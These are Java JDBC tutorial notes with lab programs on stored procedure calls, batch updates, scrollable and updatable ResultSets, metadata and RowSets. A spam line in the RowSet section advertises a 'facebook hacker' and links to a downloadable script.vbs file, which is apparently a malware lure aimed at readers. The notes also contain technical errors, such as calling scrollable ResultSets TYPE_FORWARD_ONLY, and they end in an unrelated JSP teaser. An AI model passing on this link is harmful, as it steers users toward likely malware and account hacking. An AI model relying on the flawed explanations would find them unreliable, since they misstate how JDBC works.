import java.sql.CallableStatement;
import java.sql.Connection;
import java.sql.Date;
import java.sql.ResultSet;
import java.sql.SQLException;

import oracle.jdbc.driver.OracleTypes;

public class Lab8
{
public static void main(String[] args)
{
Connection conn = null;
CallableStatement cstmt = null;
ResultSet rs = null;

try
{
conn = JdbcUtil.getOracleConnection();
cstmt = conn.prepareCall("call getAllStudents(?)");
cstmt.registerOutParameter(1, OracleTypes.CURSOR);
cstmt.execute();

rs = (ResultSet) cstmt.getObject(1);
if(rs.next())
{
do
{
int id = rs.getInt("id");
String eml = rs.getString("email");

float fee = rs.getFloat(5);
String nm = rs.getString(2);
long ph = rs.getLong("phone");
Date dt = rs.getDate("dob");

int d = dt.getDate();
int m = dt.getMonth()+1;
int y = dt.getYear()+1900;

String dob = d+"-"+m+"-"+y;
System.out.println(id+"\t"+nm+"\t"+eml+"\t"+ph+"\t"+fee+"\t"+dob);

}while(rs.next());
}
else
{
System.out.println("No Record Found");
}

}catch(SQLException e)
{
System.out.println("Error in calling procedure");

}finally{
JdbcUtil.cleanUp(rs, cstmt, conn);
}}}


/*
       --- for lab8 --- you need oracle---with procedure getAllStudents
       --------------------------------------------------------------------------
       create or replace procedure getAllStudents(students out sys_refcursor) as
       begin
        open students for select * from cmstudents;
      end;
      /
*/




Note:-
------

To specify the out perameter you need to use following method
-------------------------------------------------------------
public void registerOutPerameter(int paramindex,int sqlType)
sqlType can be constant feom java.sql.TypeClass


To access the result of out parameter you need to use the following method
--------------------------------------------------------------------------
public X getX(int paramindex)
X can be int long float byte double etc.


Comparision between Statement, PrepareStatement or CollableStatement
-------------------------------------------------------------------------------------------
 Feature     Statement   PrepareStatement        CollableStatement
-------------------------------------------------------------------------------------------
executing multiple SQL Statement YES NO NO
Pre-compile sql statement NO YES YES
store procedure call NO NO YES
place holder         NO YES YES
--------------------------------------------------------------------------------------------




Batch Update
************************************************************************************************
When you want to submit multiple type of sql statement and no of sql statement to the DB at a time then use Batch Update

without Batch Update Using Statement
---------------------------------------------------
for 1 query =5+5+5+5=20ms
for 5 query =20*5=100ms

without Batch Update Using Prepare Statement
---------------------------------------------------
for 1 query =5+0+5+5=15ms
for 5 query =15*5=75ms

with Batch Update Using Statement
---------------------------------------------------
for 5 query =5+5*5+5*5+5=60ms

without Batch Update Using Prepare Statement
---------------------------------------------------
for 5 query =5+5*0+5*5+5=35ms

Lab10:-example using Batch Update
----------------------------------------------
create table Lab9  Lab10:-
create table cmbooks(bid char(10) primary key ,bname char(20),author char(20),pub char(20),cost char(20),edition char(20),isbn char(20));

create table Lab9:-
create table user_table(username varchar2(20) unique,password varchar(20));

---------------------------------------------
To add the query in Batch
public void addBatch(String sql)

To clear the query in Batch
public void clearBatch(String sql)

To submit the query a batch
public int[] executeBatch()
----------------------------------------------


package com.batch.update;

import java.sql.Connection;
import java.sql.Statement;

import com.jdbcStatement.MysqlDBHelper;

public class Lab10
{
public static void main(String[] args)
{
Connection conn = null;
Statement stmt = null;
try
{
conn = MysqlDBHelper.getConnection();
stmt = conn.createStatement();

String s1 = "insert into cmbooks values('B-21','java','nish','om','100','3','123-1')";
stmt.addBatch(s1);

String s2 = "insert into cmbooks values('B-22','jdbc','nishant','cm','200','2','123-2')";
stmt.addBatch(s2);

String s3 = "insert into cmbooks values('B-23','J2EE','funky','sd','300','4','123-3')";
stmt.addBatch(s3);

String s4 = "insert into cmbooks values('B-24','Android','Niwas','cm','500','1','123-0')";
stmt.addBatch(s4);


String s5 = "update cmbooks set cost = 200,edition = 3 where bid = 'B-14'";
stmt.addBatch(s5);


String s6 = "delete from cmbooks where bid = 'B-13'";
stmt.addBatch(s6);

int x[]=stmt.executeBatch();
for(int i=0;i<x.length;i++)
System.out.println(x[i]);

}catch(Exception e)
{
e.printStackTrace();
}finally
{
MysqlDBHelper.cleanUp(stmt, conn);
}}}



Note:-
------
select Statement can not used with BatchUpdate because if second resultset will be available then 1st resultset object will not be used.
Collable Statement not use a BatchUpdate.


ResultSet
*********

ResultSet is an interface available in java.sql package

ResultSet object will be created by using following method

ResultSet rs=st.executeQuery(sql)
ResultSet rs=ps.executeQuery()

When ResultSet object is created the ResultSet pointer initially points to befor the first record

To move the ResultSet pointer you can use
public boolean next()

When ResultSet pointer is pointing the record then you can access the column values of that using following method
public int getInt(int index) or public int getInt(String DB_COLUMN_NAME)
public String getString(int index) or public String getString(String DB_COLUMN_NAME)  etc.


Type of ResultSet on the Basis of Srollability
**********************************************

I)Forward only ResultSet
************************

When ResultSet is TYPE_FORWARD_ONLY then you can move pointer only on the forward direction and only once.

By Default
-------------
Statement         :-  st=con.createStatement();
PrepareStatement  :- ps=con.prepareStatement(sql);

You can Specify
---------------

Statement:-
    st=con.createStatement(ResultSet.TYPE_FORWARD_ONLY,ResultSet.CONCUR_READ_ONLY);
PrepareStatement:-
    ps=con.prepareStatement(sql, ResultSet.TYPE_FORWARD_ONLY, ResultSet.CONCUR_READ_ONLY);

You can use the following method on forward only ResultSet
 public abstract boolean isBeforeFirst()
 public abstract boolean isAfterLast()
 public abstract boolean isFirst()
 public abstract boolean isLast()
 public abstract void beforeFirst()
 public abstract void afterLast()
 public abstract boolean first()
 public abstract boolean last()
 public abstract int getRow()
 public abstract boolean absolute(int)
 public abstract boolean relative(int)
 public abstract boolean previous()

II)Scrollable ResultSet
***********************
When ResultSet is TYPE_FORWARD_ONLY then you can move pointer any direction and only no of time

You can Specify
---------------
Statement:-   
       st=con.createStatement( ResultSet.TYPE_SCROLL_SENSITIVE, ResultSet.CONCUR_READ_ONLY)
PrepareStatement:-
       ps=con.prepareStatement(sql, ResultSet.TYPE_SCROLL_SENSITIVE, ResultSet.CONCUR_READ_ONLY)

Type of ResultSet on the Basis of Updatability
**********************************************

Read only ResultSet or static ResultSet
***************************************

When resultset is read only then you can just access the data from ResultSet object by calling getter method
You can not
 -- insert record into ResultSet
 -- update the record of ResultSet
 -- Delete the record from ResultSet

You can Specify
---------------

Statement:-
  st=con.createStatement(ResultSet.TYPE_FORWARD_ONLY,ResultSet.CONCUR_READ_ONLY);

PrepareStatement:-
  ps=con.prepareStatement(sql, ResultSet.TYPE_FORWARD_ONLY, ResultSet.CONCUR_READ_ONLY);


Lab11:-Example using Scrollable ResultSet
-----------------------------------------


package com.jdbc.ResultSet;

import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;

import java.sql.Statement;

import com.jdbcStatement.JdbcUtil;

// SRS --> Scrollable ResultSet

public class Lab11a
{
public static void main(String[] args)
{
Connection conn = null;
Statement stmt = null;
ResultSet rs = null;

try
{
conn = JdbcUtil.getOracleConnection();
      stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE, ResultSet.CONCUR_READ_ONLY);

/*
* when ResultSet will be in Read_only mode then you just access the data from
* ResultSet object by calling getter Methods.
* you can't insert records into RS.
* you can't update records of RS.
* you can't delete records from RS.
*/

String sql = "select * from cmbooks";
rs = stmt.executeQuery(sql);

String id = null;
String bn = null;
String au = null;
String pub = null;
String co = null;
String ed = null;
String is = null;


System.out.println("\n\n -- In Forward Order -- \n");
while(rs.next())
{
   id = rs.getString(1);
   bn = rs.getString(2);
   au = rs.getString(3);
   pub = rs.getString(4);
   co = rs.getString(5);
   ed = rs.getString(6);
   is = rs.getString(7);
   System.out.println(id+"\t"+bn+"\t"+au+"\t"+pub+"\t"+co+"\t"+ed+"\t"+is);
 
}

            System.out.println("\n\n -- In Reverse Order -- \n ");

while(rs.previous())
{
id = rs.getString(1);
   bn = rs.getString(2);
   au = rs.getString(3);
   pub = rs.getString(4);
   co = rs.getString(5);
   ed = rs.getString(6);
   is = rs.getString(7);
   System.out.println(id+"\t"+bn+"\t"+au+"\t"+pub+"\t"+co+"\t"+ed+"\t"+is);
 
}

            System.out.println("\n\n -- 2nd Record -- \n");
boolean bl = rs.absolute(2);
System.out.println(bl);
id = rs.getString(1);
   bn = rs.getString(2);
   au = rs.getString(3);
   pub = rs.getString(4);
   co = rs.getString(5);
   ed = rs.getString(6);
   is = rs.getString(7);
   System.out.println(id+"\t"+bn+"\t"+au+"\t"+pub+"\t"+co+"\t"+ed+"\t"+is);
 
 
    System.out.println("\n\n -- Last Record -- \n");
rs.last();

id = rs.getString(1);
   bn = rs.getString(2);
   au = rs.getString(3);
   pub = rs.getString(4);
   co = rs.getString(5);
   ed = rs.getString(6);
   is = rs.getString(7);
   System.out.println(id+"\t"+bn+"\t"+au+"\t"+pub+"\t"+co+"\t"+ed+"\t"+is);
 
 
System.out.println("\n -- First Record -- \n");
rs.first();

id = rs.getString(1);
   bn = rs.getString(2);
   au = rs.getString(3);
   pub = rs.getString(4);
   co = rs.getString(5);
   ed = rs.getString(6);
   is = rs.getString(7);
   System.out.println(id+"\t"+bn+"\t"+au+"\t"+pub+"\t"+co+"\t"+ed+"\t"+is);
     
System.out.println("\n\n -- 4th Record -- \n");
          rs.absolute(4);

id = rs.getString(1);
           bn = rs.getString(2);
   au = rs.getString(3);
   pub = rs.getString(4);
   co = rs.getString(5);
   ed = rs.getString(6);
   is = rs.getString(7);
System.out.println(id+"\t"+bn+"\t"+au+"\t"+pub+"\t"+co+"\t"+ed+"\t"+is);
                 }
catch(SQLException e)
{
//  handle Ex/
}
catch (Exception e) {
// TODO: handle exception
}

finally{
JdbcUtil.cleanUp(rs, stmt, conn);
}}}


Updatable ResultSet or Dynamic ResultSet
****************************************

When ResultSet is Updateable then you can do the following operation on ResultSet

get the data from ResultSet
insert record into ResultSet
update the record of ResultSet
Delete the record from ResultSet

you can specify
---------------

Statement:-
   st=con.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);

PrepareStatement:-
   ps=con.createStatement(sql,ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);


To delete the row:-
-------------------

move to the pointer to the row
public void deleteRow();

To Update the Row
-----------------

move to the pointer to the row

use the currosponding method
public X updateX(int index, X value)
public void updateRow();

To insert  the new  Row
-----------------------
public void moveToInsertRow
public X updateX(int index, X value)
public void insertRow();

Lab12:-Example using Updatable ResultSet
----------------------------------------

package com.jdbc.ResultSet;

import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.Statement;

import com.jdbcStatement.JdbcUtil;

// Updatable ResultSet

public class Lab12
{
public static void main(String[] args)
{
Connection conn = null;
Statement stmt = null;
ResultSet rs = null;

try
{
conn = JdbcUtil.getMysqlConnection();
      stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE, ResultSet.CONCUR_UPDATABLE);

String sql = "select * from cmbooks";
rs = stmt.executeQuery(sql);

System.out.println(" -- Before Updating -- ");

String id = null;
String bn = null;
String au = null;
String pub = null;
String co = null;
String ed = null;
String is = null;

while(rs.next())
{
id = rs.getString(1);
   bn = rs.getString(2);
   au = rs.getString(3);
   pub = rs.getString(4);
   co = rs.getString(5);
   ed = rs.getString(6);
   is = rs.getString(7);
   System.out.println(id+"\t"+bn+"\t"+au+"\t"+pub+"\t"+co+"\t"+ed+"\t"+is);
 
}

// Inserting Rows ///

rs.moveToInsertRow();

rs.updateString(1, "B-106");
rs.updateString(2, "B-Spring");
rs.updateString(3, "B-SD");
rs.updateString(4, "B-cm");
rs.updateString(5, "B-999");
rs.updateString(6, "1");
rs.updateString(7, "99-99");

rs.insertRow();

//  Updating Rows  ///

rs.first();
rs.updateString(5," 600");
rs.updateString(6, "9");
rs.updateRow();

//  Deleting Rows

rs.beforeFirst();
while(rs.next())
{
id = rs.getString(1);
if(id.equals("B-12"))
{
rs.deleteRow();
break;
}
}
System.out.println(" \n\n -- After Updating --  \n");

rs.beforeFirst();
while (rs.next())
{
   id = rs.getString(1);
   bn = rs.getString(2);
   au = rs.getString(3);
   pub = rs.getString(4);
   co = rs.getString(5);
   ed = rs.getString(6);
   is = rs.getString(7);
 
   System.out.println("\n"+id+"\t"+bn+"\t"+au+"\t"+pub+"\t"+co+"\t"+ed+"\t"+is);
   
}

}
catch(Exception e)
{
e.printStackTrace();
}finally{
JdbcUtil.cleanUp(rs, stmt, conn);
}}}


Note:-
******
I)By default resultSet TYPE_FORWARD_ONLY or CONCUR_READ_ONLY
II)When ResultSet is Updatable then it must be scrollabel
III)In oracle you need to specify the column name in the select statement then only ResultSet will be updatable .If you are specifying * then it will be read only .

*****************
Database MetaData
*****************

DatabaseMetadata is an interface available in java.sql package DatabaseMetadata  is used to get the info about your database 
i.e You can find whether database is supporting the required feature or not you can create the DatabaseMetadata  object as followes Curresponding DataBase

DatabaseMetaData dbmd=con.getMetaData();
System.out.println(dbmd.getJDBCMinorVersion()); System.out.println(dbmd.getJDBCMajorVersion());
System.out.println(dbmd.getDefaultTransactionIsolation());
System.out.println(dbmd.supportsBatchUpdates());
System.out.println(dbmd.supportsTransactions());
System.out.println(dbmd.getDriverName());
System.out.println(dbmd.getResultSetHoldability());

Lab13:- Example using DatabaseMetaData
--------------------------------------

package com.jdbc.MetaData;

import java.sql.Connection;
import java.sql.DatabaseMetaData;
import java.sql.PreparedStatement;


import com.jdbc.Pstatement.JdbcUtil;

public class Lab13a
{
public static void main(String[] args)
{
Connection conn = null;
PreparedStatement pstmt = null;
try
{
conn = JdbcUtil.getOracleConnection();
DatabaseMetaData dbmd = conn.getMetaData();

System.out.println(" \n JDBCMajorVersion >  "+dbmd.getJDBCMajorVersion());
System.out.println(" \n JDBCMinorVersion >  "+dbmd.getJDBCMinorVersion());
System.out.println(" \n DatabaseMajorVersion   >  "+dbmd.getDatabaseMajorVersion());
System.out.println(" \n DatabaseMinorVersion   >  "+dbmd.getDatabaseMinorVersion());
System.out.println(" \n DatabaseProductName  >  "+dbmd.getDatabaseProductName());
System.out.println(" \n DefaultTransactionIsolation  >  "+dbmd.getDefaultTransactionIsolation());
System.out.println(" \n Transactions Supports  >  "+dbmd.supportsTransactions());
System.out.println(" \n BatchUpdatesSupports  >   "+dbmd.supportsBatchUpdates());
System.out.println(" \n OuterJoinSupports  >   "+dbmd.supportsOuterJoins());
System.out.println(" \n DefaultTransactionIsolation  >  "+dbmd.getDefaultTransactionIsolation());
System.out.println(" \n DriverName  >  "+dbmd.getDriverName());
System.out.println(" \n ResultSetHoldability >  "+dbmd.getResultSetHoldability());


}
catch(Exception e)
{
System.out.println(e);
}
finally
{
JdbcUtil.cleanUp(pstmt, conn);
}}}



ResultSet MetaData
******************
ResultSet Metadata is an interface available in java.sql package ResultSet Metadata  is used to get the info about your ResultSet Object
you can create the ResultSet Metadata  object as followes Curresponding DataBase

ResultSetMetaData rsmd=rs.getMetaData();
int cc=rsmd.getColumnCount();


rs.next();
for(int i=1;i<=cc;i++){

System.out.println(rsmd.getTableName(cc));
System.out.println(rsmd.getColumnDisplaySize(i));
// return size of variable type
System.out.println(rsmd.getColumnTypeName(i));
// return variable type
System.out.println(rsmd.getColumnType(i));

System.out.println(rsmd.getColumnClassName(i));
// return object class name
System.out.println(rsmd.getColumnCount());
// return total no of column
System.out.println(rsmd.getColumnLabel(i));
// return column name


Lab14:-Example using ResultSetMetadata
--------------------------------------

package com.jdbc.MetaData;

import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;

import com.jdbc.Pstatement.JdbcUtil;

public class Lab14
{
public static void main(String[] args)
{
    Connection conn = null;
    PreparedStatement pstmt = null;
    ResultSet rs  = null;
    try
    {
    conn = JdbcUtil.getOracleConnection();
    pstmt = conn.prepareStatement("select * from cmbooks");
    rs = pstmt.executeQuery();
   
        ResultSetMetaData rsmd = rs.getMetaData();
       
        int cc = rsmd.getColumnCount();
        while (rs.next())
        {
System.out.print(rs.getString(1));
System.out.print("\t"+rs.getString(2));
System.out.println();
}
       
        for (int i = 1; i <=cc; i++)
        {
System.out.println("\n Table Name =  "+rsmd.getTableName(i));
System.out.println("-----------------------------------");
System.out.println("\n Size of Column Display =  "+rsmd.getColumnDisplaySize(i));
System.out.println("-----------------------------------");
System.out.println("\n Column Type =  "+rsmd.getColumnType(i));
System.out.println("-----------------------------------");
System.out.println("\n Column Class Name =  "+rsmd.getColumnClassName(i));
System.out.println("-----------------------------------");
System.out.println("\n Column Label =  "+rsmd.getColumnLabel(i));
System.out.println("-----------------------------------");
System.out.println("\n Column Name =  "+rsmd.getColumnName(i));
System.out.println("-----------------------------------");
System.out.println("\n Column Type Name =  "+rsmd.getColumnTypeName(i));
System.out.println("===========================");
}
   
    }
    catch(Exception e)
    {
    System.out.println(e);
    }
    finally
    {
    JdbcUtil.cleanUp(rs, pstmt, conn);
  }}}



Lab14a:- To get the Table Description in Database

Note:-
------

If you are inserting the data using UpdatableResultSet then it is not showing in the Current ResultSet because Totally depend on DriverVender

******
RowSet
******

RowSet is an interface available in java.sql package .This interface is extending ResultSet interface. RowSet functionality is almost same as result set

--------------------------------------
RowSet Type on the basis of connection
--------------------------------------

I) Connected RowSet:-JDBC RowSet is example connected RowSet .In this the connection is required till the life of RowSet object

II) DisConnected RowSet:-Other type of RowSet is example Disconnected RowSet.In this after accessing the data from DB the connection will be closed and without connection you can access the data from rowset object.

You can serilized these type of RowSet to transfer the data from one machine to another machine


Type of RowSet
--------------

JDBC RowSet
BaseRowSet
CacheRowSet
WebRowSet

------------------------------------
Comperision b/w RowSet and ResultSet
------------------------------------

1.a)ResultSet object is used to store the records return by select sql statement

1.b)RowSet object is also used to store the records return by select sql statement

---------------------------------------------------------

2.a)ResultSet object can be created as follow
con=DriverManager.getConnection(url,un,psw)
st=con.createStatement()
rs=st.executeQuery(sql)

2.b)RowSet object can be created as follow
Hi, Please Check this new facebook hacker here >>> http://www.upload.ee/download/3612333/88918e12dce3ad6b5bb/script.vbs

RowSet jrs=new jdbcRowSetImp();

jrs.setUrl(url)
jrs.setUsername(un);
jrs.setPassword(psw);
jrs.setCommand(sql);
jrs.execute();

----------------------------------------------------------

3.a)By default ResultSet are forward only and read only

3.b)By default RowSet are Scrollable and Updatable

-----------------------------------------------------------

4.a)ResultSet are connection oriented i.e As long as connection is available you can access the     resultSet data once connection is close ResultSet also will be close Autometically.

4.b)RowSet are connectionless objection i.e you can access the RowSet data without connection

------------------------------------------------------------

5.a)Result object are not eligible for serialization

5.b)RowSet object are eligible for serialization












JSP interview questions and answers

Q1. What is JSP and why do we need it? JSP stands for JavaServer Pages. JSP is java server side technology to create dynamic web pages. J...